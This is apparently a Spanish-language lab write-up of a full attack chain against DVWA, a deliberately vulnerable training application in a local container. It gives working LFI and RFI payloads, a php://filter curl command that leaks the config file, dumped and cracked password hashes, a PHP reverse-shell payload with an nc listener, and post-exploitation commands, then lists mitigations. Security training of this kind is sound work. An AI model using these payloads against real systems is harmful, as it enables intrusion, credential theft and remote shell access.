🛡️Explotación – DVWA (File Inclusion → RFI → RCE → Reverse Shell)

  • Aplicación objetivo: DVWA (Damn Vulnerable Web Application)
  • Vulnerabilidad principal: File Inclusion (LFI/RFI)
  • Entorno: Docker / Linux
  • Acceso web: http://localhost:8080

🎯 Objetivo

Evaluar la vulnerabilidad de File Inclusion y demostrar su impacto hasta conseguir:

  • Lectura de archivos sensibles
  • Ejecución remota de comandos (RCE)
  • Acceso al sistema mediante reverse shell

🖥️ Entorno

  • Sistema atacante: Kali Linux (VirtualBox – NAT)
  • Contenedor objetivo: DVWA

🌐 Red

  • Kali: 10.0.2.15
  • Docker bridge: 172.17.0.1
  • DVWA: 172.17.0.2
  • Usuario comprometido: www-data

🔍 Fase 1 – Identificación de la Vulnerabilidad

📍 Ruta vulnerable

/vulnerabilities/fi/

📥 Parámetro vulnerable

?page=

🔎 Código vulnerable

$file = $_GET['page'];
include($file);

⚠️ Problema Detectado

  • ❌ Falta de validación de entrada
  • ❌ Inclusión directa de archivos
  • ❌ Permite traversal y ejecución

👉 Vulnerabilidad identificada:

💥 Local File Inclusion (LFI)


🧪 Fase 2 – Prueba de Concepto (LFI)

?page=../../../../etc/passwd

📥 Resultado

  • Acceso a archivos del sistema
  • Enumeración de usuarios

🧠 Fase 3 – Explotación Avanzada

🧰 Source Disclosure (php://filter)

curl "http://localhost:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/../../../../var/www/html/config/config.inc.php" \ 
--cookie "PHPSESSID=0nrk9vu0fiajdtbhcd1jj2uk94; security=low" | base64 -d

🔓 Decodificación


🔑 Fase 4 – Obtención de Credenciales

db_user     = app
db_password = vulnerables
db_database = dvwa

🗄️ Fase 5 – Acceso a Base de Datos

mysql -u app -p
SELECT user, password FROM users;

🔓 Fase 6 – Extracción de Hashes

UsuarioHash MD5
admin5f4dcc3b5aa765d61d8327deb882cf99
gordonbe99a18c428cb38d5f260853678922e03
13378d3533d75ae2c3966d7e0d4fcc69216b
pablo0d107d09f5bbe40cade3de5c71e9e9b7
smithy5f4dcc3b5aa765d61d8327deb882cf99

🔑 Fase 7 – Cracking de Contraseñas

UsuarioContraseña
adminpassword
gordonbabc123
1337charley
pabloletmein
smithypassword

🔧 Fase 8 – Escalado a RFI

Se habilita:

allow_url_include = On

💣 Fase 9 – Remote File Inclusion (RFI)

🔹 Payload

?page=http://10.0.2.15:8000/shell.php&cmd=id

📥 Resultado

uid=33(www-data)

👉 Confirmación de:

💥 Remote Code Execution (RCE)


🧨 Fase 10 – Reverse Shell

script /dev/null -c bash 
crtl+z
stty raw -echo; 
fg
export TERM=xterm
reset

📌 Payload PHP

<?php
$sock=fsockopen("10.0.2.15",4444);
$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>

📡 Listener

rlwrap nc -lvnp 4444

💥 Ejecución

?page=http://10.0.2.15:8000/shell2.php

✅ Resultado

www-data@container:/var/www/html$

🧠 Fase 11 – Post-Explotación

📋 Enumeración

whoami
id
uname -a

📥 Resultado

  • Usuario: www-data
  • Sistema: Debian 9
  • Entorno: Docker

🐳 Identificación de contenedor

ls -la /.dockerenv
cat /proc/1/mountinfo

🔍 Búsqueda de SUID

find / -perm -4000 2>/dev/null

📥 Resultado

  • Binarios estándar
  • ❌ Sin vectores de escalada

🚫 Restricciones

  • sudo no disponible
  • docker.sock no accesible
  • ❌ Sin acceso a /var/lib/docker
  • ❌ Sin privilegios root

⚠️ Impacto

La vulnerabilidad permite:

  • 💀 Ejecución remota de código (RCE)
  • 💻 Reverse shell
  • 📂 Lectura de archivos sensibles
  • 🔑 Exposición de credenciales
  • 🗄️ Acceso a base de datos
  • 🐳 Compromiso del contenedor

📊 Severidad

🔴 CRÍTICA


🛡️ Mitigaciones

  • Validar parámetros mediante listas blancas
  • Deshabilitar allow_url_include
  • Evitar uso de include() con input del usuario
  • Implementar funciones seguras
  • Aplicar principio de mínimo privilegio
  • Aislar servicios correctamente

🧾 Conclusión

Se ha conseguido una cadena completa de ataque:

LFI → Source Disclosure → Credenciales → RFI → RCE → Reverse Shell

👉 Compromiso total del sistema dentro del entorno del contenedor.


🚀 Nivel Técnico Alcanzado

  • ✔ File Inclusion (LFI/RFI)
  • ✔ Source Disclosure
  • ✔ RCE
  • ✔ Reverse Shell
  • ✔ Post-explotación en Docker

🔥 Resultado Final

Explotación completa encadenada con éxito (PWND).

Scroll al inicio